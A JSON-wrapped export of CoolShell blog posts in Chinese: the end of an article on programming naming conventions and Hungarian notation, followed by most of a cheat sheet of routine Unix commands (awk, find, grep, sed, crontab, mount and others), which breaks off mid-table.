</td>\n</tr>\n<tr>\n<td>server</td>\n<td>srv</td>\n</tr>\n<tr>\n<td>source</td>\n<td>src</td>\n</tr>\n<tr>\n<td>statistic</td>\n<td>stat</td>\n</tr>\n<tr>\n<td>string</td>\n<td>str</td>\n</tr>\n<tr>\n<td>Sybase</td>\n<td>Syb</td>\n</tr>\n<tr>\n<td>T</td>\n<td> </td>\n</tr>\n<tr>\n<td>temp</td>\n<td>tmp</td>\n</tr>\n<tr>\n<td>text</td>\n<td>txt</td>\n</tr>\n<tr>\n<td>U</td>\n<td> </td>\n</tr>\n<tr>\n<td>user</td>\n<td>usr</td>\n</tr>\n<tr>\n<td>W</td>\n<td> </td>\n</tr>\n<tr>\n<td>window</td>\n<td>win,wnd</td>\n</tr>\n</tbody>\n</table>\n<p> </p>\n<h4>附录二、匈牙利命名法</h4>\n<pre>  a       Array                       数组\n  b       BOOL (int)                  布尔(整数)\n  by      Unsigned Char (Byte)        无符号字符(字节)\n  c       Char                        字符(字节)\n  cb      Count of bytes              字节数\n  cr      Color reference value       颜色(参考)值\n  cx      Count of x (Short)          x的集合(短整数)\n  dw      DWORD   (unsigned long)     双字(无符号长整数)\n  f       Flags                       标志(一般是有多位的数值)\n  fn      Function                    函数\n  g_      global                      全局的\n  h       Handle                      句柄\n  i       Integer                     整数\n  l       Long                        长整数\n  lp      Long pointer                长指针\n  m_      Data member of a class      一个类的数据成员\n  n       Short int                   短整数\n  p       Pointer                     指针\n  s       String                      字符串\n  sz      Zero terminated String      以0结尾的字符串\n  tm      Text metric                 文本规则\n  u       Unsigned int                无符号整数\n  ul      Unsigned long (ULONG)       无符号长整数\n  w       WORD (unsigned short)       无符号短整数\n  x,y     x, y coordinates (short)    坐标值/短整数\n  v       void                        空</pre>\n<p>有关项目的全局变量用g_开始，类成员变量用m_，局部变量若函数较大则可考虑用l_用以显示说明其是局部变量。</p>\n<pre>前缀       类型        例子\ng_      全局变量       g_Servers\nC       类或者结构体   CDocument，CPrintInfo\nm_      成员变量       m_pDoc，m_nCustomers</pre>\n<p><strong>VC常用前缀列表：</strong></p>\n<pre>前缀   类型   描述                      例子\nch     char    8位字符                   chGrade\nch     TCHAR   16位UNICODE类型字符       chName\nb      BOOL    布尔变量                  bEnabled\nn      int     整型                      nLength\nn      UINT    无符号整型                nLength\nw      WORD    16位无符号整型            wPos\nl      LONG    32位有符号整型            lOffset\ndw     DWORD   32位无符号整型            dwRange\np      *       内存模块指针，指针变量   pDoc\nlp     FAR*    长指针                    lpDoc\nlpsz   LPSTR   32位字符串指针           lpszName\nlpsz   LPCSTR  32位常量字符串指针       lpszName\nlpsz   LPCTSTR 32位UNICODE类型常量指针  lpszName\nh      handle  Windows对象句柄           hWnd\nlpfn   (*fn)() 回调函数指针              lpfnAbort</pre>\n<p><strong>Windows对象名称缩写：</strong></p>\n<pre>Windows对象 例子变量  MFC类       例子对象\nHWND        hWnd;      CWnd*       pWnd;\nHDLG        hDlg;      CDialog*    pDlg;\nHDC         hDC;       CDC*        pDC;\nHGDIOBJ     hGdiObj;   CGdiObject* pGdiObj;\nHPEN        hPen;      CPen*       pPen;\nHBRUSH      hBrush;    CBrush*     pBrush;\nHFONT       hFont;     CFont*      pFont;\nHBITMAP     hBitmap;   CBitmap*    pBitmap;\nHPALETTE    hPalette;  CPalette*   pPalette;\nHRGN        hRgn;      CRgn*       pRgn;\nHMENU       hMenu;     CMenu*      pMenu;\nHWND        hCtl;      CStatic*    pStatic;\nHWND        hCtl;      CButton*    pBtn;\nHWND        hCtl;      CEdit*      pEdit;\nHWND        hCtl;      CListBox*   pListBox;\nHWND        hCtl;      CComboBox*  pComboBox;\n\n（全文完）</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1038.html\">编程命名中的7+1个提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-16 高级Unix命令.html",
    "content": "<html><body><p>在Unix操作中有太多太多的命令，这些命令的强大之处就是一个命令只干一件事，并把这件事干好。Do one thing， do it well。这是unix的哲学。而且Unix首创的管道可以把这些命令任意地组合，以完成一个更为强大功能。这些哲学到今天都在深深地影响着整个计算机产业。比如今天最流行的“云计算”——把一个软件以碎片方式部署，然后这些功能可以任意组合。</p>\n<p>这篇文章罗列了很多Unix下比较高级的命令，当然，Unix/Linux下还有更多更多的命令，我们相信你可能见过其中的某些命令，也有可能有一些命令没有见过。不管怎么说，我们希望这些命令一方面可以让你知道怎么使用Unix/Linux操作系统，另一方面，我们也希望你能从中感到Unix的那种软件开发的哲学思想。</p>\n<p><span id=\"more-1044\"></span></p>\n<table border=\"0\" cellpadding=\"4\" cellspacing=\"0\">\n<tbody>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">ACCTCOM</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看所有用户执行过的进程（命令）</td>\n<td><span style=\"color: #333399;\">acctcom | tail -20</span></td>\n</tr>\n<tr>\n<td>查看指定用户执行过的进程（命令）</td>\n<td><span style=\"color: #333399;\">acctcom -u &lt;username&gt; | tail -20</span></td>\n</tr>\n<tr>\n<td>使用一个正则表达式查找相关进程</td>\n<td><span style=\"color: #333399;\">acctcom -n &lt;pattern&gt; | tail -20</span></td>\n</tr>\n<tr>\n<td>查找所有以l开头的被用户执行过的命令</td>\n<td><span style=\"color: #333399;\">acctcom -n ‘^l’ | tail -30</span></td>\n</tr>\n<tr>\n<td>以反向顺序显示</td>\n<td><span style=\"color: #333399;\">acctom -b | more</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">AGREP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>在文件中查找一个可能拼写错的单词</td>\n<td><span style=\"color: #333399;\">agrep -2 ‘macropperswan’ &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">AT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>在未来某个时间执行某个命令</td>\n<td><span style=\"color: #333399;\">at now + 5 days &lt; scriptfile</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">AWK</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>显示文件的第一列</td>\n<td><span style=\"color: #333399;\">awk ‘{print $1}’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>反序显示文件的前两列</td>\n<td><span style=\"color: #333399;\">awk ‘{print $2,”\\t”,$1}’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>输出前两列的总和</td>\n<td><span style=\"color: #333399;\">awk ‘{print $1 + $2}’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找所有包括”money” 行并输出最后一列</td>\n<td><span style=\"color: #333399;\">awk ‘/money/ {print $NF}’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找第二列中包含 “money”</td>\n<td><span style=\"color: #333399;\">awk ‘$2 ~ /money/ {print $0}’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找第三列中不包括”A”</td>\n<td><span style=\"color: #333399;\">awk ‘$3 !~ /A$/ {print $0}’ &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">BC</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>计算sin(5)的值</td>\n<td><span style=\"color: #333399;\">echo ‘s(5)’ | bc -l</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CANCEL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>取消一个刚开始启动的打印的作业</td>\n<td><span style=\"color: #333399;\">cancel &lt;jobid&gt; </span>( jobid可以由lpstat -o输出)</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CASE in ESAC </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>sh/bash/ksh中的case语句</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CC</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>编译一个C文件file.c</td>\n<td><span style=\"color: #333399;\">cc -o &lt;outfile&gt; &lt;infile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CHGRP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>修改文件的组所属</td>\n<td><span style=\"color: #333399;\">chgrp &lt;newgroupname&gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CHOWN</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>修改文件的所属人</td>\n<td><span style=\"color: #333399;\">chown &lt;newowner&gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CMP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>比较两个文件</td>\n<td><span style=\"color: #333399;\">cmp &lt;file1&gt; &lt;file2&gt; || &lt;command&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">COL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>打印man pages，去除其中 “^H”</td>\n<td><span style=\"color: #333399;\">man &lt;command&gt; | col -b | &lt;printcommand&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CRONTAB</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看你的crontab 文件</td>\n<td><span style=\"color: #333399;\">crontab -l</span></td>\n</tr>\n<tr>\n<td>编译 crontab 文件</td>\n<td><span style=\"color: #333399;\">crontab -e</span></td>\n</tr>\n<tr>\n<td>第周一的05:10 执行/home/fred/foo.ksh</td>\n<td><span style=\"color: #333399;\">10 5 * * 1 /home/fred/foo.ksh</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CRYPT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>使用一个口令加密一个文件</td>\n<td><span style=\"color: #333399;\">crypt password &lt; infile &gt; cryptfile</span></td>\n</tr>\n<tr>\n<td>解密一个被上面命令加密了的文件</td>\n<td><span style=\"color: #333399;\">crypt password &lt; cryptfile &gt; cleanfile</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CSH </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>最好的Berkley shell</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">CUT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>从last 命令的输出中得到hostname字段</td>\n<td><span style=\"color: #333399;\">last | cut -c11-40</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DATE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>设置时间(只能由root 执行)</td>\n<td><span style=\"color: #333399;\">date &lt;mmddhhmm&gt;</span></td>\n</tr>\n<tr>\n<td>输出指定日期格式 (如：月份)</td>\n<td><span style=\"color: #333399;\">date +%m</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DF</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以kB单位查看磁盘空间</td>\n<td><span style=\"color: #333399;\">df -k</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DIRCMP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>比较两个目录</td>\n<td><span style=\"color: #333399;\">dircmp &lt;dir1&gt; &lt;dir2&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DTKSH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>dtksh 是一个 X11 图形的ksh93</td>\n<td><span style=\"color: #333399;\">dtksh</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">DU</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>磁盘使用情况</td>\n<td><span style=\"color: #333399;\">du -ks</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">ED </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>命令行编译器。</td>\n<td><span style=\"color: #333399;\">ed &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">EGREP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>使用“或”条件Grep 文件</td>\n<td><span style=\"color: #333399;\">egrep ‘(A|B)’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>grep文件中即不包括A也不包括B</td>\n<td><span style=\"color: #333399;\">egrep -v ‘(A|B)’ &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">EX</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>使用一个shell脚来来编辑一个文件</td>\n<td><span style=\"color: #333399;\">ex -s file &lt;&lt;EOF<br/>\ng/money/s//cash/<br/>\nEOF</span></td>\n</tr>\n<tr>\n<td>以一个脚本文件来编辑一个文件</td>\n<td><span style=\"color: #333399;\">ex -s file &lt; scriptfile</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">EXPR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>求模</td>\n<td><span style=\"color: #333399;\">expr 10 % 7</span></td>\n</tr>\n<tr>\n<td>查看字串是否在变量$var中</td>\n<td><span style=\"color: #333399;\">expr $var : ‘string’</span></td>\n</tr>\n<tr>\n<td>显示第一个数字组成的字串</td>\n<td><span style=\"color: #333399;\">expr $var : ‘[^0-9]*\\([a-z]*\\)’</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">FGREP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查找不匹配于某正规表达式的文件行</td>\n<td><span style=\"color: #333399;\">fgrep ‘*,/.()’ &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">FILE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看文件类型(如： ascii)</td>\n<td><span style=\"color: #333399;\">file &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">FIND</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>在整个文件系统中查的一个文件</td>\n<td><span style=\"color: #333399;\">find / -type f -name &lt;file&gt; -print</span></td>\n</tr>\n<tr>\n<td>查找所有匹配于模式的文件</td>\n<td><span style=\"color: #333399;\">find . -type f -name “*&lt;foo&gt;*” -print</span></td>\n</tr>\n<tr>\n<td>删除系统中所有的core文件</td>\n<td><span style=\"color: #333399;\">find / -type f -name core -exec /bin/rm -f {} \\;</span></td>\n</tr>\n<tr>\n<td>查找所有包含某单词的文件</td>\n<td><span style=\"color: #333399;\">find . -type f -exec grep -l &lt;word&gt; {} \\;</span></td>\n</tr>\n<tr>\n<td>查找所有修改日期在30天以前的文件</td>\n<td><span style=\"color: #333399;\">find . -type f -ctime +30 -print</span></td>\n</tr>\n<tr>\n<td>使用xargs来备份所有的.c文件（加上.bak后缀）</td>\n<td><span style=\"color: #333399;\">find . -name “*.c” -print | xargs -i cp {} {}.bak</span></td>\n</tr>\n<tr>\n<td>只搜索本地文件系统（不搜索nfs文件系统）</td>\n<td><span style=\"color: #333399;\">find . -local …</span></td>\n</tr>\n<tr>\n<td>在搜索的过程中，跟随link文件的实际位置</td>\n<td><span style=\"color: #333399;\">find . -follow …</span></td>\n</tr>\n<tr>\n<td>查找大于1M的文件</td>\n<td><span style=\"color: #333399;\">find /path -size 1000000c -print</span></td>\n</tr>\n<tr>\n<td>运行find命令但忽略”permission denied”</td>\n<td><span style=\"color: #333399;\">find … 2&gt;/dev/null </span>( 只能在sh/bash/ksh )</td>\n</tr>\n<tr>\n<td>查找所有的man目录</td>\n<td><span style=\"color: #333399;\">find / -type d -print | egrep ‘.*/(catman|man)$’</span></td>\n</tr>\n<tr>\n<td>查找所有有写权限的目录</td>\n<td><span style=\"color: #333399;\">find / -type d -perm -002 -print</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">GAWK </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>GNU版本的nawk</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">GREP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以某个正规表达式查找包含其的文件行</td>\n<td><span style=\"color: #333399;\">grep ‘[a-z][0-9]’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找不包含指定正则表达式的文件行</td>\n<td><span style=\"color: #333399;\">grep -v ‘^From’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>查找一组文件</td>\n<td><span style=\"color: #333399;\">grep -l ‘^[cC]’ *.f</span></td>\n</tr>\n<tr>\n<td>计算包括某正则表达式文件行的数目</td>\n<td><span style=\"color: #333399;\">grep -c ‘[Ss]uccess’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>不区分大小写的查找</td>\n<td><span style=\"color: #333399;\">grep -i ‘lAbEgF’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>在匹配到的文件内容前输出文件的行号</td>\n<td><span style=\"color: #333399;\">grep -n ‘mo.*y’ &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">HINV </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>命令显示系统硬件的详细列表，包括：CPU类型、内存大小、所有的磁盘设备。</td>\n<td><span style=\"color: #333399;\">hinv -v</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">IF then else ENDIF </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>csh/tcsh中的if 语句</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">IF then else FI </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>sh/bash/ksh 中的if 语句</td>\n<td>if [[ condition ]];then commands;fi</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">KSH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Korn shell. (ksh88)</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">LN</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>创建一个硬链接文件a链接到文件A</td>\n<td><span style=\"color: #333399;\">ln a B</span></td>\n</tr>\n<tr>\n<td>创建一个符号链接文件a链接到文件A</td>\n<td><span style=\"color: #333399;\">ln -s a B</span></td>\n</tr>\n<tr>\n<td>删除链接文件B</td>\n<td><span style=\"color: #333399;\">rm B</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">LP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>在默认打印机上打印文件</td>\n<td><span style=\"color: #333399;\">lp &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>在指定打印机上打印文件</td>\n<td><span style=\"color: #333399;\">lp -d &lt;destination&gt; &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">LPSTAT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>显示所有的打印机</td>\n<td><span style=\"color: #333399;\">lpstat -a</span></td>\n</tr>\n<tr>\n<td>查看打印机任务队列</td>\n<td><span style=\"color: #333399;\">lpstat -o</span></td>\n</tr>\n<tr>\n<td>查看默认打印机</td>\n<td><span style=\"color: #333399;\">lpstat -d</span></td>\n</tr>\n<tr>\n<td>查看打印机状态</td>\n<td><span style=\"color: #333399;\">lpstat -p</span></td>\n</tr>\n<tr>\n<td>查看计划任何状态</td>\n<td><span style=\"color: #333399;\">lpstat -r</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">MAKE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>执行一个 makefile中的第一个目标</td>\n<td><span style=\"color: #333399;\">make</span></td>\n</tr>\n<tr>\n<td>执行一个 makefile中的指点目标</td>\n<td><span style=\"color: #333399;\">make &lt;target&gt;</span></td>\n</tr>\n<tr>\n<td>指定一个特定的makefile文件名</td>\n<td><span style=\"color: #333399;\">make -f &lt;mymakefile&gt;</span></td>\n</tr>\n<tr>\n<td>显示要做什么，但其实什么也没做</td>\n<td><span style=\"color: #333399;\">make -n &lt;target&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">MKDIR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>一次创键目录和子目录</td>\n<td><span style=\"color: #333399;\">mkdir -p &lt;path&gt;/&lt;path&gt;/&lt;path&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">MOUNT </span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>查看挂载的文件卷</td>\n<td><span style=\"color: #333399;\">mount</span></td>\n</tr>\n<tr>\n<td>查看挂载的文件卷（有格式的）</td>\n<td><span style=\"color: #333399;\">mount -p</span></td>\n</tr>\n<tr>\n<td>挂载一个光驱到目录/cdrom</td>\n<td><span style=\"color: #333399;\">mount /dev/cdrom /cdrom</span></td>\n</tr>\n<tr>\n<td>挂载一个磁盘分区到目录 /usr</td>\n<td><span style=\"color: #333399;\">mount /dev/dsk/c0t3d0s5 /usr</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">NAWK</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>增强版的 awk</td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">NL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以带行号的方式输出文件</td>\n<td><span style=\"color: #333399;\">nl -bt -nln &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">NOHUP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>启动一个命令马上退出</td>\n<td><span style=\"color: #333399;\">nohup &lt;command&gt; &amp;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PACK</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>一个很老的文件打包程序，现在被gzip代替了。</td>\n<td><span style=\"color: #333399;\">pack &lt;file&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PASSWD</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>修改你的帐号口令</td>\n<td><span style=\"color: #333399;\">passwd</span></td>\n</tr>\n<tr>\n<td>删除一个用户的口令(root使用)</td>\n<td><span style=\"color: #333399;\">passwd -d &lt;username&gt;</span></td>\n</tr>\n<tr>\n<td>改变一个用户的口令 (root使用)</td>\n<td><span style=\"color: #333399;\">passwd &lt;username&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PASTE</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>以列的方式把多个文件组合起来</td>\n<td><span style=\"color: #333399;\">paste &lt;file1&gt; &lt;file2&gt; &gt; &lt;newfile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PERL</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>Perl脚本语言的解释器</td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">PR</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把一个文件做成可打印的格式（76行一页）</td>\n<td><span style=\"color: #333399;\">pr -l76 -h”title” &lt;filename&gt;</span></td>\n</tr>\n<tr>\n<td> </td>\n<td> </td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">REGCMP</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>从一个文件中编译正则表达式</td>\n<td><span style=\"color: #333399;\">regcmp &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td style=\"text-align: right;\">文件内容示例</td>\n<td><span style=\"color: #333399;\">varname “^[a-z].*[0-9.*$”</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">RESET</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>重置终端设备</td>\n<td><span style=\"color: #333399;\">reset</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td align=\"left\"><span style=\"font-size: xx-small;\">RPCINFO</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>取得某主机的TCP端口信息</td>\n<td><span style=\"color: #333399;\">rpcinfo -p &lt;host&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">RSH</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>执行一个远程服务器上的命令</td>\n<td><span style=\"color: #333399;\">rsh &lt;host&gt; &lt;comand&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SCRIPT</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>用来捕捉当前的终端会话中的所有输入输出结果到一个指定的文件</td>\n<td><span style=\"color: #333399;\">script &lt;logfile&gt;</span></td>\n</tr>\n<tr bgcolor=\"#ccccff\">\n<td><span style=\"font-size: xx-small;\">SED</span></td>\n<td>::</td>\n</tr>\n<tr>\n<td>把某文件中的fred替换成john</td>\n<td><span style=\"color: #333399;\">sed -e ‘s/fred/john/g’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>替换文件中匹配正则表达式的字符串</td>\n<td><span style=\"color: #333399;\">sed -e ‘s/[0-9]+/number/g’ &lt;file&gt;</span></td>\n</tr>\n<tr>\n<td>把HTML文件中的 “X” 变成红色</td>\n<td><span style=\"color: #333399;\">sed -e ‘s!X!&lt;font color=”#FF0000″&gt;X&lt;/font&gt;!g;</span></td>\n</tr>\n<tr>\n<td>把所有后缀为.suf1 改名成.suf2</td>\n<td><span style=\"color: #333399;\">ls -1 | grep 